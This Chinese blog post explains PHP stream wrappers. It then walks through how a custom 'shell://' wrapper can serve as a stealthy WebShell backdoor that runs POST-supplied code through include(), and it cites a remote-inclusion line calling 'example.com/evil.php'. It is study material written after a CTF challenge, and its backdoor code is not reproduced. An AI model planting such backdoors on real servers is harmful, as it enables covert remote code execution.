前言
今天做攻防世界 blgdel 时用到了 PHP StreamWrapper
, 即 PHP 流包装器 , 这对我而言是个新东西 .
原题的思路是利用构造好的 master
协议 , 执行相关命令 , 从而读取系统用户家目录下的 Flag 文件 .
分析题目的时候我就在想 , 既然可以利用流包装器构造相关协议读取系统文件 , 那么是否可以构造特殊的协议来执行系统命令呢 ? 如果可以那岂不就是一个很难被检测的 WebShell 嘛~
顺着这个思路 , 才有了本文 .
PHP StreamWrapper ( PHP 流包装器 )
基本内容
-
什么是 Stream( 流 )
在 PHP 官方文档 中有如下定义
流是表现出流式数据行为的资源对象 , 用于 文件数据,网络数据,压缩数据 等统一的数据操作 .
什么叫 " 统一的数据操作 " 呢 ? 就是所有的操作都共享一组通用的功能与方法 . 那什么叫 " 共享通用的功能和方法 " 呢 ? 举个例子 , PHP 文件系统函数
file_get_contents()
既可以打开本地文件( 操作文件数据 ) , 也可以访问 URL( 操作网络数据 ) , 该函数就是两种数据操作共享的方法 .因此 ,
file_get_contents()
函数的访问的数据就是流 , 流能以线性方式进行读写 , 并且可以在流中的任意位置进行搜索 .对于流式数据而言 , 不管它是本地文件 , 还是网络数据 , 或者是压缩文件 , 操作方式都是相同的 . 因此 , 流是从 " 统一操作 " 这个角度产生的概念 .
-
什么是 StreamWrapper( 流包装器 )
有了流( Stream )的概念 , 就能引申出流包装器( StreamWrapper )这个概念了 .
流是从 " 统一操作 " 角度产生的概念 , 而流包装器是从 " 理解数据内容 " 的角度产生的概念 . 当 PHP 接收到一段流式数据时 , 它是如何解析其中的内容与规则呢 ?
每一个流都对应一种流包装器 , 流包装器的本质是一段额外的代码 , 它会告诉流如何处理某种特殊协议或者编码 . 比如 , 从 HTTP 协议传来的数据是流的方式 , 但只有 HTTP 包装器才知道传来的数据是什么意思 .
看到个很好理解的例子 : 流是一根管子 , 它流出的是数据 , 而流包装器就是套在这根管子外的一个解释者 , 它能理解流出数据的含义 , 并且能操控它 .
流包装器可以嵌套叠加 , 当一个流的外层包裹了一个流包装器后 , 还可以在该流包装器的外层继续包裹流包装器 , 这时里层的流包装器就充当流的角色 .
再举个例子 , 在 PHP 自身底层实现的C语言开发文档有这样的解释 : 在基本级别 , 流API 定义了 php_stream 对象表示流式数据源 . 在高一点的级别 , 流API 定义了 php_stream_wrapper 对象 , 它包裹了基本级别的 php_stream 对象 , 提供了取回 URL 内容和元数据 , 添加上下文参数的能力 , 可以调整流包装器的行为 .
PHP 内置了很多流包装器 , 可以在 支持的协议和封装协议 中查看
除此之外 , 在 PHP 脚本中通过
stream_wrapper_register()
函数可以注册自定义的包装器 .stream_wrapper_register() : 注册一个用 PHP 类实现的 URL 封装协议
如果要访问当前的流包装器列表( PHP内置 + 用户自定义 ) , 可以使用
stream_get_wrappers()
函数查看所有可用的流包装器 .stream_get_wrappers() : 获取已注册的流类型列表
还可以使用
stream_get_transports()
函数获取已注册的套接字传输协议列表 , 使用stream_get_filters()
函数获取已注册的流过滤器列表 . -
StreamWrapper( 流包装器 ) 的引用格式
流包装器的引用格式如下
Schema://Target
Schema : 要使用的流包装器的名称( 例如 http , ftp , glob 等或是用户自定义 ) , 如果未指定流包装器 , 则会默认使用 file:// 流包装器 . Target : 取决于所使用的流包装器 , 内容由流包装器的语法指定 , 不同的流包装器语法会有不同 .
尽管
RFC 3986
中提到可以使用 ":
" 作为分割符 , 但 PHP 只允许使用 "://
" , 所以必须使用schema://target
这样的格式 .比如
php://input
就是一个最常用的 PHP 流包装器 , 它可以访问请求的原始数据的只读流 .
自定义一个流包装器
在使用 fopen()
, fwrite()
, fread()
, fgets()
, feof()
, rewind()
, file_put_contents()
, file_get_contents()
等等文件系统函数操作流时, 数据是先传给定义的包装器类对象 , 包装器再去操作流 .
那么如何自定义一个流包装器呢 ? The streamWrapper class 中给出了一个原型 , 但就仅仅是原型 , 不是接口不是类 , 不能被继承 .
这个原型中定义的方法可以根据自己的需要去定义 , 并不要求全部实现 . 不被定义为接口的原因正是因为很多方法的实现根本用不到 .
可以在 PHP 官方文档上给出了一个 注册自定义流包装器 的例子 , 可以作为参考 .
写一个创建文件的 demo
-
先定义需要的变量( 这里定义了
$name
和$contents
来存放文件名和文件内容 ) , 同时实现了构造函数__construct()
( 构造函数不实现会报错 ) -
然后定义
stream_open()
函数 , 该函数用于打开文件或者 URL , 在流包装器初始化后会立即调用此方法 . 该函数先从 URL 中解析获取需要的参数$a
( 要进行的动作 ) 和$b
( 包含文件名和文件内容 ) , 然后进行相关赋值操作 . -
接着判断当前操作是否为
create
操作 , 若是则调用create()
函数 ,create()
函数中封装了file_put_contents()
函数 -
通过
stream_wrapper_register()
函数注册createfile
流包装器 , 然后通过include
打开使用该流包装器的 URL .
编写完毕后直接运行 , 即可在本地创建内容为 helloworld
的test.txt
文件 .
一个最基本的自定义流包装器就注册成功了 , 用户可以使用 createfile://
协议在当前目录下创建文件 .
WebShell
既然自定义流包装器可以执行系统命令 , 那么是否能被修改成 WebShell 呢 ? 答案当然是可以的 . 在查阅相关资料时 , 我发现已经有很多师傅提到了这个问题 . 写个链接吧~
还是回到 include
, 该函数可以包含并且执行文件 , 且支持远程文件 , 比如 include "https://example.com/evil.php"
. 因此常常会出现远程包含漏洞( RFI ) .
但是远程包含漏洞依赖于 PHP 的两个配置项 , 即 allow_url_fopen
和 allow_url_include
在默认情况下 , 这两个选项值都为 Off
, 所以无法远程包含文件 . 但此时 , 我们可以通过 stream_wrapper_register()
注册流包装器 , 检测特定的URL包装功能 , 监控 include
流 , 在 include
流中动态生成PHP代码 , 从而成为一个 WebShell 后门 .
在安全脉搏的这篇帖子上 , 有一个比较经典的后门 POC , 下面来分析一下这个后门是如何构造的
-
调用 shell() 函数
这里调用了 ShellStream 类的 shell 函数 , 来看下 shell() 函数是怎么写的
-
注册流包装器
这里先注册了
shell://
这个流包装器 , 然后从 HTTP POST 方法获取了要执行的代码 , 拼接到流包装器中 , 然后通过include()
触发流包装器的解析 . -
stream_open()
当流包装器初始化后 , 会最先调用构造函数
__construct()
, 但是这里没有 , 于是立即调用stream_open()
函数该函数解析了
include
包含的url , 由于parse_url
不会检查 URL 的合法性 , 它只负责解析 . 任何从://
开始,以/
或:
结尾的那一部分字符串( 如果没有的话 , 则是余下的全部字符 )都被视作主机名($host
)部分 . 从中提取了要执行的命令并解码 , 同时初始化了文件指针用于读取数据 . -
stream_read() , stream_eof()
结合读取文件的过程 : 在文件指针还未指向文件的末尾(
feof()
)时 , 不断读取文件的内容(fread()
) , 这里的stream_read()
,stream_eof()
函数就是用于响应上述整个过程的 , 两个函数往往搭配使用 . -
stream_tell() , stream_seek()
结合读取文件的过程 , 先把文件指针移到指定的位置(
fseek()
)进行读取 , 然后获取文件的当前读写位置(ftell()
) . 在随机方式存取文件时 , 由于文件指针位置频繁的前后移动 , 程序不容易确定文件的当前指针位置 . 使用fseek()
函数后再调用函数ftell()
就能非常容易地确定文件的当前指针位置 .同样 , 这里
stream_tell()
和stream_seek()
就是用于响应上述整个过程 , 两个函数往往搭配使用 .在构造
stream_seek()
函数时 , 调用了一个选择分支结构 , 这个结构对应 PHP 官方文档中所说的三种可能情况 .SEEK_SET : 设置文件指针位置等于偏移字节 SEEK_CUR : 将文件指针位置设置为当前位置加上偏移量 SEEK_END : 将文件指针位置设置为文件末尾加上偏移量
结合这些注释 , 这个选择分支语句应该很好理解了 .
-
stream_stat
检索文件资源的相关信息 , 用于响应
fstat()
函数 .fstat()
函数会通过已打开的文件指针取得文件信息 . -
url_stat
检索文件的信息,响应所有
stat()
相关的函数 . 相关函数是比较多的 , 可以参考 url_stat .
其实有些地方我还是不太明白 , 感觉还要学一些比较底层的东西 . 在 PHP扩展开发及内核应用 这个文档中提到了 PHP Stream
的实现 , 无奈我太菜了看不懂 == 如果有师傅明白具体的流程 , 欢迎您的留言~
好了, 整个后门就构造完了 , 不过后门的连接脚本还是非常好写的 , 我们把刚才构造的后门放到服务器上 , 然后在本地运行连接脚本
具体的脚本放在了 Github 上
总结
感觉 PHP StreamWrapper 后门是一个比较小众的 WebShell 构造方式 , 可以记录一下
在代码方面我还存在一些疑惑 , 这些需要更进一步的学习研究 .